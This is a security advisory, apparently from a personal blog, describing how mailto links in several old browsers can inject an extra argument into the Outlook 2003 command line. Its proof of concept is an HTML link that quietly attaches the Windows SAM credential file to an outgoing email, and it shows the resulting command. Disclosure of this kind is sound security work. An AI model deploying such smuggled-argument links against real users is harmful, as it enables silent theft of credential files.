Multiple browsers Windows mailto protocol Office 2003 file attachment exploit

Inge Henriksen Security Advisory http://ingehenriksen.blogspot.com/

Advisory Name: Multiple browsers Windows mailto protocol Office 2003 file attachment exploit

Release Date: Not released

Tested and Confirmed Vulerable:
Micrsoft Outlook 2003 SP 1
Microsoft Internet Explorer 6 SP2
Mozilla Firefox 1.06
Avant Browser 10.1 Build 17

Severity: Low

Type: Stealing files

>From where: Remote

Discovered by:
Inge Henriksen ([email protected]) http://ingehenriksen.blogspot.com/

Vendor Status: Not notified

Overview:
Application protocols handling in Microsoft Windows is badly designed, i.e. when someone types
mailto:[email protected] into a browser the protocol is first looked up under
HKEY_CLASSES_ROOT\%protocol%\shell\open\command, if it is a protocol that is allowed under the
current user context then the value is simply replaced by the contents in the address bar at %1. In
our example

"C:\PROGRA~1\MICROS~3\OFFICE11\OUTLOOK.EXE" -c IPM.Note /m "%1"

would become

"C:\PROGRA~1\MICROS~3\OFFICE11\OUTLOOK.EXE" -c IPM.Note /m "mailto:[email protected]"

There is absolutely no input validation in all the browsers I have tested, i.e. there are exploits
availible by entering more data into the address bar than was intended.

Proof-of Concept:

The mailto application protocol can be axploited by entering <email>""<filepath>, this will cause
OUTLOOK.EXE to attach the file <filepath> to the email without asking for permission, thus opening
up for sensitive files to be stolen when a user sends an email it is fair to believe that many
people would not notice the attached file before sending the email.

To attach the SAM file to a email a html file could contain this:

<a href='mailto:[email protected]""…\…\…\…\…\windows\REPAIR\SAM'>Click here to email me</a>

The command being run would now be:

"C:\PROGRA~1\MICROS~3\OFFICE11\OUTLOOK.EXE" -c IPM.Note /m "mailto:[email protected]""…\…\…\…\…\windows\REPAIR\SAM"

, thus attaching the SAM file.